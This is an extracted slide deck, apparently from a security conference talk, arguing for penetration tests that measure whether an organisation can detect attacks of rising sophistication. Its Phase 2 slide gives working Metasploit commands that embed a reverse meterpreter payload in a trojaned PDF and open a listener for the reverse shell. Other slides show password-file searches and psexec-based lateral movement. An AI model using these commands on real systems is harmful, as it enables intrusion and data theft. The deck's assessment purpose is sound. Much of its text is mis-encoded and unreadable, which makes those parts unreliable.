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Whoami 

ÅJoe McCray (j0emccray) 

ÅFounder/CEO of Strategic Security 

Å10+ Years Experience 

ïNetwork/Web/Mobile/Client-Server 

ïDoD, Federal Government, Commercial, Financial 

ïSpecializing in High Security Environments & 
Bypassing Security Solutions 

ïSpoken/Trained at over 200 security conferences 

 

 

 



Whoami 
Å Chris Gates (CG) 
ïTwitterĄ carnal0wnage 
ïBlogĄ carnal0wnage.attackresearch.com 
ïJobĄ Partner/Principal Security Consultant at Lares 
ïAffiliations Ą Co-Founder NoVAHackers, Attack Research, Metasploit 

Project 

Å Previous Work 
ïSr. Security Consultant ς Rapid7 
ïNetwork Attack Team Lead ς Applied Security Inc. 
ïPenetration Tester ς BAH 
ïComputer Exploitation Technician ς US Army Red Team 

Å Previous Talks 
ïPentest Dirty Secrets  -ColdFusion for Pentesters 
ïwXf Web eXploitation Framework     -Information Gathering 
ïAttacking Oracle (via TNS/Web)      -Client-Side Attacks 



 
Vulnerability Driven Industry 

Å IT Security is focused on minimizing the presence of 
vulnerabilities 
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Vulnerability Driven Industry 

ÅTons of Issues 

ï5ƻŜǎƴΩǘ ŦƛȄ ǳƴŘŜǊƭȅƛƴƎ ǇǊƻōƭŜƳǎ 

ï¦ǎǳŀƭƭȅ ƛƎƴƻǊŜǎ ǘƘŜ άƭƻǿ ǘƻ pwnedέ ŀǎǇŜŎǘ 

ïCƻŎǳǎ ƻƴ ІΩǎ ƻŦ ƘƛƎƘǎΣ ƳŜŘǎΣ ƭƻǿǎΣ ŀƴŘ ƴƻǘ ƛŦ ŀƴ 
attacker can access important data and can the 
organization detect it. 

 

ïMost Important: 

ï! ǾǳƭƴŜǊŀōƛƭƛǘȅ ƛǎƴΩǘ ƴŜŎŜǎǎŀǊƛƭȅ ǊŜǉǳƛǊŜŘ 
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Data Driven Assessments 

 

Å{ƻƳŜ ƳƻǊŜ άŦƻǊǿŀǊŘ ƭŜŀƴƛƴƎέ ŎƻƳǇŀƴƛŜǎ ǇŜǊŦƻǊƳ ά5ŀǘŀ 
5ǊƛǾŜƴέ ŀǎǎŜǎǎƳŜƴǘǎΦ 

ÅDŜǘ ŎƻƳǇŀƴȅ ǘƻ ƛŘŜƴǘƛŦȅ ǿƘŀǘΩǎ ƛƳǇƻǊǘŀƴǘΧ 

ÅDƻ ŀŦǘŜǊ ƛǘΧ/ŀƴ L ƎŜǘ ǘƻ ƛǘΚ 

 

ÅVary rare to focus on detection and response along the way 

 

 

 

C 



 
Vulnerability Driven VS. Capability Driven 

Å IT Security Industry is currently focused on minimizing the 
presence of vulnerabilities 

 

Å²ŜΩǊŜ ǊŜŎƻƳƳŜƴŘƛƴƎ ŀ ŎƘŀƴƎŜ ƛƴ ŦƻŎǳǎ ǘƻ ǿƘŀǘ ŀǘǘŀŎƪŜǊ 
tactics/techniques you can detect and respond to  

 

ÅMore importantly what level of sophistication of attacker 
tactics/techniques you can detect and respond to 

 

Å²Ŝ Ŏŀƭƭ ǘƘƛǎ άCapability Driven Security Assessmentsέ  
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Evaluating Capabilities 

²ŜΩǾŜ ōǊƻƪŜƴ ŎƻƳƳƻƴ ŀǘǘŀŎƪ ǘŀŎǘƛŎǎ ƛƴǘƻ р ǇƘŀǎŜǎΥ 

 

1. Targeting & Information Gathering 

2. Initial Entry 

3. Post-Exploitation 

4. Lateral Movement 

5. Data Exfiltration 
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The Process 

Prepwork 

Passive Intel 
Gathering 

Active Intel 
Gathering 

Targeting 

Exploitation 
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How the Attack Works 

From: Mandiant 
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Evaluating Capabilities 

²ƛǘƘƛƴ ŜŀŎƘ ǇƘŀǎŜ ǿŜΩǾŜ Ǝƻǘ п ƭŜǾŜƭǎ ƻŦ ǎƻǇƘƛǎǘƛŎŀǘƛƻƴ 

Level 1: Script Kiddie 

Level 2: Sys Admin  

Level 3: Organized crime/hacker for hire 

Level 4: State sponsored 

 

1    2  3  4 

J 



 
Phase 1: Targeting 

Determine who has what I want 
 

 



 
Phase 1: Targeting 

Determine who has access to it 
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Phase 1: Targeting 

Determine who has access to it 
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Phase 2: Initial Entry 

Which of these can you detect and respond to? 
 

1. Client-Side Exploit (<1 yr old) 

2. Client-Side Exploit (<90 days old) 

3. Phishing for credentials 

4. File Format Exploit (malicious attachment) 

5. ¦ǎŜǊ !ǎǎƛǎǘκέbƻ 9ȄǇƭƻƛǘέ 9ȄǇƭƻƛǘ όŜȄΥ WŀǾŀ !ǇǇƭŜǘύ 

6. Custom Exploit/0day 

7. Phone calls 
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Phase 2: Initial Entry 

Example Syntax: 
Step 1: Create your own payload 

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe 

./msfpayload windows/meterpreter/ reverse_tcp R | msfencode -c 5 -e x86/shikata_ga_nai -x putty.exe -t exe >/tmp/payload.exe 

 

Step 2: Create an evil pdf 

./msfconsole 

msf > use windows/fileformat/adobe_pdf_embedded_exe 

msf > set PAYLOAD windows/meterpreter/ reverse_https 

msf > set EXENAME /tmp/payload.exe 

msf > set FILENAME FluShotsSchedule.pdf 

msf > set INFILENAME /tmp/Report.pdf 

msf > set OUTPUTPATH /tmp/  

msf > set LHOST [your attacker ip] 

msf > exploit 

 

Result: /tmp/FluShotsSchedule.pdf 

Step 3: Send the evil pdf file to your client 

msf > use exploit/multi/handler 

msf > set PAYLOAD windows/meterpreter/ reverse_https 

msf > set ExitOnSession false 

msf > set LHOST [your attacker ip] 

msf > set LPORT 443 

msf > exploit ςj 

 

Step 4: Send trojaned pdf file to victim and wait for the reverse connection from the client 
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Phase 2: Initial Entry 
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Phase 2: Initial Entry 

Example Syntax: 
Phishing Examples 
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Phase 2: Initial Entry 



Post Exploitation Levels: 

1. Access (this level is all that vulnerability assessment proves) 

 

2. Leveraged Access (this level where an attacker can go after gaining access 
to a system).  

 

3. Keys to the Kingdom (Customer gives you a specific piece of data that you 
are tasked with trying to gain access to) 

 

4. Long Term Command and Control (The primary focus here is undetected 
data exfiltration) 
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Phase 3: Post-Exploitation 

Privilege escalation and data mining the compromised machine 

 

1. Simple privilege escalation attempts (ex: at command, meterpreter 
getsystem, uac bypass) 

2. Simple data pilfering 

ï dir c:\ *password* /s 

ï dir c:\ *pass* /s 

ï dir c:\ *.pcf /s  

3. Simple persistence (ex: registry modification, simple service 
creation/replacement) 

4. Advanced persistence (custom backdoor) 
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Phase 4: Lateral Movement 

Moving from host to host within the target network 

 

1. Simple file transfer via admin shares, and execution via net/at commands 

2. NT Resource kit tools 

3. 3rd Party System Admin tools 

4. Custom tools (commands built into your backdoor) 
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Phase 4: Lateral Movement 

Example Syntax: 

 

1. net use \ \some_workstion 

2. cp mybin.exe \ \some_workstation\C$\ temp\mybin.exe 

 Or 

3. Psexec \ \some_workstation 

 Or 

4.    Push out agent via various update tool (altiris, Microsoft SMS, etc) 
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Phase 5: Data Exfiltration 

Getting business critical data out of the network 

 

Exfiltrate [eks-fil-treyt]. verb,:  

ҍ To surreptitiously move personnel or materials out of an area under enemy 
control.  

 

 In computing terms, exfiltration is the unauthorized removal of data from a 
network.  

 

1. Simple data exfil via any port/protocol  

2. Simple data exfil via HTTP/DNS  

3. Exfil via HTTPS  

4. Authenticated proxy aware exfil 
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Phase 5: Data Exfiltration 

Easier to move things in a small packages 

Å RAR, ZIP, and CAB files.  

Å Makecab built-in to Windows  

Å Most systems have 7zip, winRAR, etc 
ï All those allow for password protected files 

ï Most allow you to break big files into pieces of X size 

Staging areas  

Å Locations to aggregate data before sending it out  

Å Easier to track tools and stolen data  

Å Fewer connections to external drops  

Å Typically workstations ς plenty of storage space 

Å Is it abnormal for workstations to have high bandwidth usage?  
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Phase 5: Data Exfiltration 

Fancy way 

 

C 



 
Phase 5: Data Exfiltration 

If $company has put some effort into segmentation (rare) 
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Phase 5: Data Exfiltration 

²Ƙŀǘ ƴƻǊƳŀƭƭȅ ƘŀǇǇŜƴǎΧ 
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Vulnerability Driven VS. Capability Driven 

Å¢ƻŘŀȅΩǎ LƴŦƻǊƳŀǘƛƻƴ !ǎǎǳǊŀƴŎŜ tǊƻƎǊŀƳǎ ŀǊŜ ŎƻƳǇǊƛǎŜŘ ƻŦ 
ïVulnerability Management (aka patch management) 

ïUser Awareness 

ïDocumentation of the first 2 

 

ÅVulnerabilities are transient 

 

Å9ǾŜǊȅŘŀȅ ȅƻǳ ǇŀǘŎƘΣ ŜǾŜǊȅŘŀȅ ǘƘŜǊŜΩǎ ƳƻǊŜ ǘƻ ǇŀǘŎƘ 

 

ÅLŦ ǘƘŜ ŀǘǘŀŎƪŜǊ ƛǎƴΩǘ ǊŜƭȅƛƴƎ ƻƴ ǘƘŜ ǇǊŜǎŜƴŎŜ ƻŦ ǾǳƭƴŜǊŀōƛƭƛǘƛŜǎ ƛƴ 
order to make his attack work you are in for a world of hurt! 
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Vulnerability Driven VS. Capability Driven 

ÅLƴǎǘŜŀŘ ƻŦ ǎŀȅƛƴƎ  άaǊΦ /ǳǎǘƻƳŜǊΣ ȅƻǳ ƘŀǾŜ слл ƘƛƎƘǎΣ мнлл 
ƳŜŘƛǳƳǎΣ ŀƴŘ рллл ƭƻǿǎέ 

 

Å²Ŝ ǎŀȅƛƴƎ άaǊΦ /ǳǎǘƻƳŜǊΣ ȅƻǳ ŀōƭŜ ǘƻ ŘŜǘŜŎǘ ŀƴŘ ǊŜǎǇƻƴŘ ǘƻ ŀ 
ƭŜǾŜƭ о ŀǘǘŀŎƪ όōŀǎƛŎŀƭƭȅ ƻǊƎŀƴƛȊŜŘ ŎǊƛƳŜύέΦ 

 

ÅLevel 1: Script Kiddie 

ÅLevel 2: Sys Admin 

ÅLevel 3: Organized crime/hacker for hire 

ÅLevel 4: State sponsored 
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Giving Customers Man Hour Metrics 

ÅNothing will ever STOP an attacker ς the goal is to make target 
difficult to attack. 

 

ÅHow difficult is difficult?  

 

ÅAt what point would an attacker move on to another vector or 
another company because this target is too difficult to break 
into. 

 

ÅAt what point in the above can/will the organization detect the 
activity and respond? 
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ÅEnd-Point Protection Stopped The Exploit 

ÅPopular Flash, Java exploits worked, but end-point protection stopped the exploit 

 

 

Example Customer Slide 1 
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ÅSecurity Mechanisms that had to be bypassed during this engagement 

 

ÅXXXXXXXXX Endpoint Protection  

ÅThis required custom exe compilation, encoding, embedding in spreadsheet 

Å8 man hours (Level 3 Rating) 

 

ÅXXXXXXXXX Web Proxy 

ÅUsed SSL Encryption 

ÅLess than 5 minutes (Level 2 Rating) 

 

ÅXXXXXXXXX Managed Security Service 

ÅUsed SSL Encryption 

ÅLess than 5 minutes (Level 2 Rating) 

 

 

 

 

Example Customer Slide 2 
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Most Likely Attack Vectors 

Keys To 
The 

Kingdom 

External 
Websites 

Wireless 
Network 

Physical 
Social 

Engineering 

Internal 
Network 


